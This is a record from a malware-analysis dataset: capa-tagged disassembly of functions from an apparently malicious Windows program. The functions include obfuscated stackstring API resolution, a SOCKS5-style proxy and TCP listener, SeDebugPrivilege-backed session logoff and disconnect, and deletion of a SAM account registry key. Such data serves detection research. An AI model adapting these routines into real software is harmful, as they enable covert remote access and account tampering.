joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40bfba
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push 0xffffffffffffffff
push 0x41c9e8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x1c], esi
mov dword [esi], 0x41d554
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.TerminateThread
push str.KERNEL32.dll
mov dword [esp + 0x50], 0
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
mov ebx, eax
lea eax, [esp + 0x20]
push eax
push str.KERNEL32.dll
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], 0x6c
mov byte [esp + 0x2a], 0x6f
mov byte [esp + 0x2b], 0x73
mov byte [esp + 0x2c], 0x65
mov byte [esp + 0x2d], 0x48
mov byte [esp + 0x2e], 0x61
mov byte [esp + 0x2f], 0x6e
mov byte [esp + 0x30], 0x64
mov byte [esp + 0x31], 0x6c
mov byte [esp + 0x32], 0x65
mov byte [esp + 0x33], 0
call edi
push eax
call ebp
mov cl, 0x69
mov dword [esp + 0x18], eax
mov byte [esp + 0x2e], cl
mov byte [esp + 0x34], cl
lea ecx, [esp + 0x2c]
mov al, 0x74
push ecx
push str.KERNEL32.dll
mov byte [esp + 0x34], 0x57
mov byte [esp + 0x35], 0x61
mov byte [esp + 0x37], al
mov byte [esp + 0x38], 0x46
mov byte [esp + 0x39], 0x6f
mov byte [esp + 0x3a], 0x72
mov byte [esp + 0x3b], 0x53
mov byte [esp + 0x3d], 0x6e
mov byte [esp + 0x3e], 0x67
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0x65
mov byte [esp + 0x41], 0x4f
mov byte [esp + 0x42], 0x62
mov byte [esp + 0x43], 0x6a
mov byte [esp + 0x44], 0x65
mov byte [esp + 0x45], 0x63
mov byte [esp + 0x46], al
mov byte [esp + 0x47], 0
call edi
push eax
call ebp
push str.TerminateProcess
push str.KERNEL32.dll
mov dword [esp + 0x1c], eax
call edi
push eax
call ebp
push str.DisconnectNamedPipe
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call edi
push eax
call ebp
mov edx, dword [esi + 0x28]
push 0
push edx
mov edi, eax
call ebx
mov eax, dword [esi + 0x20]
push 0
push eax
call dword [esp + 0x18]
mov ecx, dword [esi + 0x24]
push 0
push ecx
call ebx
mov edx, dword [esi + 0x2c]
push 0x7d0
push edx
call dword [esp + 0x1c]
mov eax, dword [esi + 0x2c]
push 0
push eax
call ebx
mov eax, dword [esi + 0x10]
test eax, eax
je 0x40c110
push eax
call edi
mov eax, dword [esi + 0x14]
test eax, eax
je 0x40c11a
push eax
call edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x40c124
push eax
call edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x40c12e
push eax
call edi
mov ecx, dword [esi + 0x10]
mov edi, dword [esp + 0x18]
push ecx
call edi
mov edx, dword [esi + 0x14]
push edx
call edi
mov eax, dword [esi + 0x18]
push eax
call edi
mov ecx, dword [esi + 0x1c]
push ecx
call edi
mov edx, dword [esi + 0x20]
push edx
call edi
mov eax, dword [esi + 0x24]
push eax
call edi
mov ecx, dword [esi + 0x2c]
push ecx
call edi
mov edx, dword [esi + 0x28]
push edx
call edi
mov ecx, esi
mov dword [esp + 0x48], 0xffffffff
call fcn.00408970
mov ecx, dword [esp + 0x40]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x3c
ret
Function at 0x40c890
Capabilities:
Create thread
Send data
Send data on socket
Send http request

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor esi, esi
push 0x425098
stosb byte es:[edi], al
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [0x4253b4]
push 0x425098
inc ecx
mov dword [0x4253b4], ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [esp + 0x128]
lea eax, [esp + 0x14]
push eax
push edi
mov dword [esp + 0x1c], esi
call fcn.0040c760
add esp, 8
cmp eax, esi
je 0x40ca2f
mov ebx, dword [esp + 0x120]
cmp eax, 1
je 0x40c976
cmp eax, 2
je 0x40c976
cmp eax, 3
je 0x40c976
cmp eax, 4
jne 0x40c9ef
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x130]
lea edx, [esp + 0x20]
sub ecx, eax
push edx
add eax, edi
push ecx
push eax
call fcn.0040c6d0
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
lea ecx, [ebx + 4]
push eax
push ecx
call fcn.0040cf20
add esp, 0x1c
test eax, eax
je 0x40ca2f
mov edi, str.HTTP_1.0_200_OK_r_n_r_n
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [ebx]
repne scasb al, byte es:[edi]
not ecx
push esi
push ecx
push str.HTTP_1.0_200_OK_r_n_r_n
push edx
call dword [sym.imp.WS2_32.dll_send]
jmp 0x40c9ef
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x12c]
mov ecx, dword [esp + 0x124]
push eax
push esi
push edi
push ecx
call fcn.0040c800
mov ebp, eax
add esp, 0x10
test ebp, ebp
je 0x40ca2f
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
mov eax, dword [esp + 0x1c]
sub esi, eax
sub esi, 7
lea ecx, [eax + edi + 7]
push esi
push ecx
call fcn.0040c6d0
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
lea esi, [ebx + 4]
push edx
push eax
push esi
call fcn.0040cf20
add esp, 0x1c
test eax, eax
je 0x40ca2f
mov ecx, dword [esp + 0x124]
mov edx, dword [esi]
push 0
push ebp
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x40ca2f
cmp dword [ebx], 0
je 0x40ca2f
mov eax, dword [ebx + 4]
test eax, eax
je 0x40ca2f
lea eax, [esp + 0x18]
push eax
push 0
push ebx
push 0x40d9b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x40ca1f
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10c
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret
Function at 0x40ca40
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x204
push ebp
mov ebp, dword [esp + 0x210]
push esi
push edi
mov al, byte [ebp]
mov byte [esp + 0xe], 5
cmp al, 5
mov byte [esp + 0xf], 0
je 0x40ca70
pop edi
pop esi
and eax, 0xff
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 2]
lea esi, [ebp + 2]
test al, al
je 0x40ca8a
cmp al, 2
je 0x40ca8a
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov edi, 0x4250b4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push eax
neg ecx
sbb cl, cl
lea eax, [esp + 0x12]
and ecx, 2
push 2
mov byte [esp + 0x17], cl
mov ecx, dword [esp + 0x21c]
push eax
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x40cacd
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
cmp byte [esp + 0xf], 2
jne 0x40cc23
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10]
push eax
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x114]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x218]
push 0x2000
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x40cc17
test eax, eax
je 0x40cc17
cmp byte [ebp], 1
je 0x40cb2d
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 1]
test al, al
je 0x40cb56
mov ecx, eax
and ecx, 0xff
cmp ecx, 0x100
jg 0x40cb56
mov edx, ecx
lea edi, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
and eax, 0xff
add eax, ebp
movsx ecx, byte [eax + 2]
test ecx, ecx
je 0x40cb85
cmp ecx, 0x100
jg 0x40cb85
lea esi, [eax + 3]
mov eax, ecx
lea edi, [esp + 0x110]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [esp + 0x10]
mov eax, 0x4250b4
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x40cbb2
test cl, cl
je 0x40cbae
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x40cbb2
add eax, 2
add esi, 2
test cl, cl
jne 0x40cb8e
xor eax, eax
jmp 0x40cbb7
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40cbf9
lea esi, [esp + 0x110]
mov eax, 0x4251b4
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x40cbeb
test cl, cl
je 0x40cbe7
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x40cbeb
add eax, 2
add esi, 2
test cl, cl
jne 0x40cbc7
xor eax, eax
jmp 0x40cbf0
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40cbf9
mov byte [ebp + 1], al
jmp 0x40cbfd
mov byte [ebp + 1], 0xff
mov eax, dword [esp + 0x214]
push 0
push 2
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x40cc23
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x204
ret
Function at 0x40cc40
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x18
push 0x42426c
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
mov dword [esp + 4], eax
je 0x40ccf4
push ebx
mov ebx, dword [esp + 0x20]
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov ecx, dword [eax + 0xc]
mov edx, dword [esp + 0x10]
cmp dword [ecx + edx], 0
je 0x40ccfc
xor edx, edx
mov byte [ebx], 0
cmp word [eax + 0xa], dx
jle 0x40ccea
test edx, edx
jle 0x40ccb4
mov edi, 0x4215b0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x14]
mov ecx, ebp
and ecx, 3
inc edx
rep movsb byte es:[edi], byte [esi]
movsx ecx, word [eax + 0xa]
cmp edx, ecx
jl 0x40cc86
add dword [esp + 0x10], 4
jmp 0x40cc6a
mov eax, dword [esp + 0x1c]
add esp, 0x18
ret
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret

Function at 0x40cd10
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40cd20
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret

Function at 0x40cf20
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x1c]
xor eax, eax
mov dword [esp], eax
push esi
mov dword [esp + 8], eax
push edi
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call dword [sym.imp.WS2_32.dll_htons]
mov esi, dword [esp + 0x20]
mov edi, dword [sym.imp.WS2_32.dll_inet_addr]
push esi
mov word [esp + 0xe], ax
call edi
cmp eax, 0xffffffff
push esi
jne 0x40cf77
call fcn.0040cd10
add esp, 4
test eax, eax
je 0x40cfd2
push esi
call fcn.0040cd10
add esp, 4
push eax
call edi
push 6
push 1
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [esp + 0x1c]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x40cfd2
lea edx, [esp + 0x24]
push 4
push edx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x38], 0x258
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [esi]
lea eax, [esp + 8]
push 0x10
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40cfda
mov edx, dword [esi]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret
pop edi
mov eax, 1
pop esi
add esp, 0x10
ret
Function at 0x40cff0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
push ebx
push esi
push edi
call fcn.0040ca40
add esp, 0xc
test eax, eax
je 0x40d097
cmp eax, 4
jne 0x40d038
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
push 2
push ebx
push esi
call fcn.0040cd30
add esp, 0x14
neg eax
sbb eax, eax
pop edi
pop esi
and eax, 4
pop ebx
ret
mov edx, dword [edi]
push 0
push 0x2000
push esi
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x40d097
test eax, eax
je 0x40d097
cmp byte [esi], 5
jne 0x40d097
mov cl, byte [esi + 3]
cmp cl, 1
je 0x40d064
cmp cl, 3
jne 0x40d097
mov edx, dword [esp + 0x20]
and ecx, 0xff
push edx
mov edx, dword [esp + 0x20]
push edx
push ecx
push eax
push esi
call fcn.0040cd30
add esp, 0x14
test eax, eax
je 0x40d097
mov al, byte [esi + 1]
cmp al, 1
je 0x40d08e
cmp al, 3
jne 0x40d097
pop edi
pop esi
and eax, 0xff
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x40d0a0
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x124
xor eax, eax
push esi
mov dword [esp + 8], eax
push 0x11
mov dword [esp + 0x10], eax
push 2
mov dword [esp + 0x18], eax
push 2
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x10
mov word [esp + 0x24], 2
mov dword [esp + 0x28], eax
mov word [esp + 0x26], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40d0ee
xor eax, eax
pop esi
add esp, 0x124
ret
lea ecx, [esp + 0x18]
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x40d10b
xor eax, eax
pop esi
add esp, 0x124
ret
mov edx, dword [esp + 0x130]
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
push ecx
push esi
mov dword [edx], esi
call dword [sym.imp.WS2_32.dll_getsockname]
lea edx, [esp + 0x28]
push edx
call fcn.0040cc40
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [esp + 0x12c]
pop esi
mov dword [ecx + 4], eax
mov ax, word [esp + 6]
mov word [ecx + 8], ax
mov eax, 1
add esp, 0x124
ret
Function at 0x40d460
Capabilities:
Create tcp socket
Create thread
Initialize winsock library
Start tcp server

Disassembly:
sub esp, 0x1a4
lea eax, [esp + 0x14]
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x40d54e
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x40d54e
mov dx, word [0x4250b0]
xor ecx, ecx
mov dword [esp + 6], ecx
push edx
mov dword [esp + 0xe], ecx
mov word [esp + 8], 2
mov dword [esp + 0x12], ecx
mov word [esp + 0x16], cx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 6], ax
lea eax, [esp + 4]
push 0x10
push eax
push edi
mov dword [esp + 0x14], 0
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x40d54e
push ebx
push ebp
push esi
push 0x32
push edi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x40d4fc
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 0x1a4
ret
mov ebx, dword [sym.imp.WS2_32.dll_accept]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push edi
call ebx
push 8
mov esi, eax
call sub.MSVCRT.dll_malloc
add esp, 4
test eax, eax
je 0x40d508
lea ecx, [esp + 0x20]
mov dword [eax], esi
push ecx
push 0
push eax
push 0x40d160
push 0
push 0
call ebp
test eax, eax
jne 0x40d545
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40d508
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40d508
xor eax, eax
pop edi
add esp, 0x1a4
ret

Function at 0x40d700
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
xor edi, edi
test esi, esi
jle 0x40d73b
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push ebx
push ebp
push 0
lea ecx, [edi + eax]
push esi
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x40d742
sub esi, eax
add edi, eax
test esi, esi
jg 0x40d716
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret
Function at 0x40f27f
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
push esi
push edi
push 1
mov ebp, ecx
push str.SeDebugPrivilege
call fcn.004145a0
mov edi, dword [esp + 0x1c]
add esp, 8
xor esi, esi
test edi, edi
jbe 0x40f278
push ebx
mov ebx, dword [esp + 0x14]
mov eax, dword [esi + ebx]
push 0
push eax
push 0
call sub.WTSAPI32.dll_WTSLogoffSession
add esi, 4
cmp esi, edi
jb 0x40f263
pop ebx
mov ecx, ebp
call fcn.0040fca0
push 0
push str.SeDebugPrivilege
call fcn.004145a0
add esp, 8
pop edi
pop esi
pop ebp
ret 8

Function at 0x40f2df
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
push esi
push edi
push 1
mov ebp, ecx
push str.SeDebugPrivilege
call fcn.004145a0
mov edi, dword [esp + 0x1c]
add esp, 8
xor esi, esi
test edi, edi
jbe 0x40f2d8
push ebx
mov ebx, dword [esp + 0x14]
mov eax, dword [esi + ebx]
push 0
push eax
push 0
call sub.WTSAPI32.dll_WTSDisconnectSession
add esi, 4
cmp esi, edi
jb 0x40f2c3
pop ebx
mov ecx, ebp
call fcn.0040fca0
push 0
push str.SeDebugPrivilege
call fcn.004145a0
add esp, 8
pop edi
pop esi
pop ebp
ret 8

Function at 0x40f300
Capabilities:
Get session information

Disassembly:
sub esp, 8
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
mov ecx, dword [esp + 0x10]
push edx
xor eax, eax
push 0xa
push ecx
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
mov eax, dword [esp]
jne 0x40f330
mov eax, dword [esp + 0xc]
add esp, 8
ret 4

Function at 0x40f340
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 0x30c
mov edx, dword [esp + 0x310]
lea eax, [esp + 4]
lea ecx, [esp]
push eax
push ecx
push 5
push edx
push 0
mov dword [esp + 0x14], 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
jne 0x40f376
xor al, al
add esp, 0x30c
ret
mov eax, dword [esp]
push edi
lea ecx, [esp + 0x110]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [esp + 4]
push edx
call sub.WTSAPI32.dll_WTSFreeMemory
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
push 0
lea eax, [esp + 0x14]
push 0x104
push eax
lea ecx, [esp + 0x120]
push 0xffffffffffffffff
push ecx
push 0x200
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [esp + 0x318]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov al, 1
pop edi
add esp, 0x30c
ret
Function at 0x40f3f0
Capabilities:
Get session information

Disassembly:
sub esp, 8
mov edx, dword [esp + 0xc]
lea eax, [esp + 4]
push esi
lea ecx, [esp + 4]
push eax
push ecx
xor esi, esi
push 0x10
push edx
push esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x40f479
mov ecx, dword [esp + 4]
movsx eax, byte [ecx]
sub eax, esi
je 0x40f452
dec eax
je 0x40f43e
dec eax
jne 0x40f466
push ecx
mov esi, 0x4227c4
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
push ecx
mov esi, 0x4227c0
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
push ecx
mov esi, str.Console
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
mov esi, dword [esp + 0x10]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
mov eax, dword [esp + 0x10]
pop esi
add esp, 8
ret 4

Function at 0x40fd60
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x40
push esi
push edi
push 0x14
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, 0x14
call fcn.0041be00
add eax, 1
adc edx, 0
push edx
push eax
push 0x4228d4
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, esi
pop edi
pop esi
add esp, 0x40
ret
Function at 0x40fe90
Capabilities:
List groups for user account

Disassembly:
sub esp, 0x310
push ebx
push ebp
push esi
push edi
xor esi, esi
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x122]
mov word [esp + 0x120], si
mov byte [esp + 0x20], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x21]
push 0x100
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x328]
lea ecx, [esp + 0x124]
push eax
push ecx
mov dword [esp + 0x24], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x28], esi
call sub.MSVCRT.dll_mbstowcs
add esp, 0xc
lea edx, [esp + 0x1c]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x18]
push edx
push eax
push 0xffffffffffffffff
push ecx
push 1
lea edx, [esp + 0x134]
push esi
push edx
push esi
call sub.NETAPI32.dll_NetUserGetLocalGroups
test eax, eax
jne 0x40ffd2
mov ebp, dword [esp + 0x18]
cmp ebp, esi
je 0x40ffd2
mov eax, dword [esp + 0x10]
mov dword [esp + 0x14], esi
cmp eax, esi
jbe 0x40ffd2
mov ebx, dword [esp + 0x328]
jmp 0x40ff45
xor esi, esi
cmp ebp, esi
je 0x40ffd2
mov eax, dword [ebp]
push eax
call sub.MSVCRT.dll_wcslen
inc eax
push eax
call sub.MSVCRT.dll_malloc
mov ecx, dword [ebp]
mov esi, eax
push ecx
push 0x4228d8
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x100
lea edx, [esp + 0x38]
push esi
push edx
call sub.MSVCRT.dll_strncpy
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 0x20
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x20]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
test edx, edx
je 0x40ffa5
mov byte [edx + ebx], 0x2f
inc edx
xor eax, eax
test ecx, ecx
jle 0x40ffba
lea esi, [edx + ebx]
mov dl, byte [esp + eax + 0x20]
mov byte [esi + eax], dl
inc eax
cmp eax, ecx
jl 0x40ffae
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
add ebp, 4
inc eax
cmp eax, ecx
mov dword [esp + 0x14], eax
jb 0x40ff43
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x310
ret
Function at 0x4102c0
Capabilities:
Contain obfuscated stackstrings
Delete registry key

Disassembly:
sub esp, 0x2c
or ecx, 0xffffffff
xor eax, eax
push esi
push edi
mov edi, str.00000
mov esi, dword [esp + 0x38]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.00000
push esi
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
push esi
jne 0x4102f8
lea eax, [esp + 0xc]
push 0x4228f4
push eax
jmp 0x410302
lea ecx, [esp + 0xc]
push str.00000_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov dl, 0x41
mov al, 0x5c
mov byte [esp + 0x21], dl
mov byte [esp + 0x25], dl
mov byte [esp + 0x30], dl
mov dl, 0x63
add esp, 0xc
mov byte [esp + 0x25], dl
mov byte [esp + 0x26], dl
mov cl, 0x4d
mov byte [esp + 0x17], al
mov byte [esp + 0x1b], al
mov byte [esp + 0x23], al
mov byte [esp + 0x2b], al
mov byte [esp + 0x31], al
lea edx, [esp + 0x38]
lea eax, [esp + 0x14]
mov byte [esp + 0x16], cl
mov byte [esp + 0x1a], cl
push edx
mov cl, 0x73
push eax
push reloc.WS2_32.dll_bind
mov byte [esp + 0x20], 0x53
mov byte [esp + 0x24], 0x53
mov byte [esp + 0x28], 0x44
mov byte [esp + 0x29], 0x6f
mov byte [esp + 0x2a], 0x6d
mov byte [esp + 0x2b], 0x61
mov byte [esp + 0x2c], 0x69
mov byte [esp + 0x2d], 0x6e
mov byte [esp + 0x2e], cl
mov byte [esp + 0x33], 0x6f
mov byte [esp + 0x34], 0x75
mov byte [esp + 0x35], 0x6e
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x38], 0x55
mov byte [esp + 0x39], cl
mov byte [esp + 0x3a], 0x65
mov byte [esp + 0x3b], 0x72
mov byte [esp + 0x3c], cl
mov byte [esp + 0x3e], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x4103c4
pop edi
xor eax, eax
pop esi
add esp, 0x2c
ret 4
mov edx, dword [esp + 0x38]
lea ecx, [esp + 8]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
mov eax, dword [esp + 0x38]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
test esi, esi
sete al
pop esi
add esp, 0x2c
ret 4